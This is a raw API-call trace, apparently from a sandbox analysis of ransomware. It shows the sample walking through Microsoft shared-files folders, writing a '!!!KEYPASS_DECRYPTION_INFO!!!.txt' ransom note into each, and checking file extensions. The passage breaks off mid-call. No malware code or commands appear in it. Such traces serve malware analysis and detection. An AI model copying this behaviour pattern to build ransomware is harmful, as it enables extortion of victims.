FindNextFileW (in: hFindFile=0xd05d00, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.787] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.788] FindNextFileW (in: hFindFile=0xd05d00, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.788] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned=".dll" [0239.788] FindNextFileW (in: hFindFile=0xd05d00, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.789] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned=".xrm-ms" [0239.789] FindNextFileW (in: hFindFile=0xd05d00, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.789] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned=".dll" [0239.789] FindNextFileW (in: hFindFile=0xd05d00, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.789] FindNextFileW (in: hFindFile=0xd05cc0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0 [0239.789] FindNextFileW (in: hFindFile=0xcb99b8, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0239.789] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0239.789] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcffff8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.789] GetLastError () returned 0x3f0 [0239.789] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.789] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0239.790] GetFileType (hFile=0x504) returned 0x1 [0239.790] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0239.790] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0239.790] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0239.790] WriteFile (in: hFile=0x504, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0239.791] WriteFile (in: hFile=0x504, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0239.791] CloseHandle (hObject=0x504) returned 1 [0239.791] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0xd06180 [0239.791] FindNextFileW (in: hFindFile=0xd06180, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.791] FindNextFileW (in: hFindFile=0xd06180, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.791] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.791] FindNextFileW (in: hFindFile=0xd06180, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0 [0239.791] FindNextFileW (in: hFindFile=0xcb99b8, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0239.791] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0239.791] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcffff8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.791] GetLastError () returned 0x3f0 [0239.792] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.792] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0239.792] GetFileType (hFile=0x508) returned 0x1 [0239.792] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0239.792] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0239.792] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0239.792] WriteFile (in: hFile=0x508, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0239.793] WriteFile (in: hFile=0x508, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0239.793] CloseHandle (hObject=0x508) returned 1 [0239.793] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0xd05b00 [0239.793] FindNextFileW (in: hFindFile=0xd05b00, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.793] FindNextFileW (in: hFindFile=0xd05b00, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.794] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.794] FindNextFileW (in: hFindFile=0xd05b00, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.794] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned=".EXE" [0239.794] FindNextFileW (in: hFindFile=0xd05b00, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0 [0239.794] FindNextFileW (in: hFindFile=0xcb99b8, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0239.794] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0239.794] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcffff8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.794] GetLastError () returned 0x3f0 [0239.794] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.794] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0239.836] GetFileType (hFile=0x4fc) returned 0x1 [0239.836] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0239.836] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0239.836] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0239.836] WriteFile (in: hFile=0x4fc, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0239.837] WriteFile (in: hFile=0x4fc, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0239.837] CloseHandle (hObject=0x4fc) returned 1 [0239.837] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0xd06080 [0239.837] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.840] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.840] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.840] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.840] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned=".htm" [0239.840] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.840] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned=".jpg" [0239.840] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.840] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Blue_Gradient.jpg") returned=".jpg" [0239.840] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.840] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Cave_Drawings.gif") returned=".gif" [0239.840] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.840] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Connectivity.gif") returned=".gif" [0239.840] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.841] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned=".ini" [0239.841] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.841] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Dotted_Lines.emf") returned=".emf" [0239.841] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.841] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned=".htm" [0239.841] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.841] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned=".jpg" [0239.841] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.841] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Genko_1.emf") returned=".emf" [0239.841] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.841] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Genko_2.emf") returned=".emf" [0239.841] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.841] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Graph.emf") returned=".emf" [0239.841] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.841] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned=".htm" [0239.841] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.841] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned=".jpg" [0239.841] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.841] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\grid_(cm).wmf") returned=".wmf" [0239.841] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.841] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\grid_(inch).wmf") returned=".wmf" [0239.841] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.841] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned=".htm" [0239.841] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.841] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned=".jpg" [0239.841] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.841] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Memo.emf") returned=".emf" [0239.841] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.841] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Monet.jpg") returned=".jpg" [0239.841] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.841] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Month_Calendar.emf") returned=".emf" [0239.841] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.841] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Music.emf") returned=".emf" [0239.841] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.841] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Notebook.jpg") returned=".jpg" [0239.842] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.842] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned=".htm" [0239.842] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.842] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned=".jpg" [0239.842] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.842] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned=".htm" [0239.842] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.842] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned=".jpg" [0239.842] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.842] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Pine_Lumber.jpg") returned=".jpg" [0239.842] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.842] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Pretty_Peacock.jpg") returned=".jpg" [0239.842] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.842] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Psychedelic.jpg") returned=".jpg" [0239.842] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.842] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned=".htm" [0239.842] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.842] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned=".jpg" [0239.842] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.842] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Sand_Paper.jpg") returned=".jpg" [0239.842] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.842] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Seyes.emf") returned=".emf" [0239.842] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.842] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned=".htm" [0239.842] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.842] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned=".jpg" [0239.842] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.842] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shorthand.emf") returned=".emf" [0239.842] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.842] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Small_News.jpg") returned=".jpg" [0239.842] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.842] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned=".htm" [0239.842] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.842] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned=".jpg" [0239.842] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.843] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned=".htm" [0239.843] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.843] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned=".jpg" [0239.843] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.843] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stucco.gif") returned=".gif" [0239.843] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.843] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Tanspecks.jpg") returned=".jpg" [0239.843] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.843] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Tiki.gif") returned=".gif" [0239.843] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.843] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\To_Do_List.emf") returned=".emf" [0239.843] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.843] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\White_Chocolate.jpg") returned=".jpg" [0239.843] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.843] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Wrinkled_Paper.gif") returned=".gif" [0239.843] FindNextFileW (in: hFindFile=0xd06080, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0 [0239.843] FindNextFileW (in: hFindFile=0xcb99b8, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0239.843] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0239.843] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcffff8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.843] GetLastError () returned 0x3f0 [0239.843] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.843] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0239.844] GetFileType (hFile=0x510) returned 0x1 [0239.844] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0239.844] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0239.844] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0239.844] WriteFile (in: hFile=0x510, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0239.845] WriteFile (in: hFile=0x510, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0239.845] CloseHandle (hObject=0x510) returned 1 [0239.845] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0xd05b80 [0239.845] FindNextFileW (in: hFindFile=0xd05b80, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.845] FindNextFileW (in: hFindFile=0xd05b80, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.845] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.845] FindNextFileW (in: hFindFile=0xd05b80, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.845] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.845] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.845] GetLastError () returned 0x3f0 [0239.845] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | 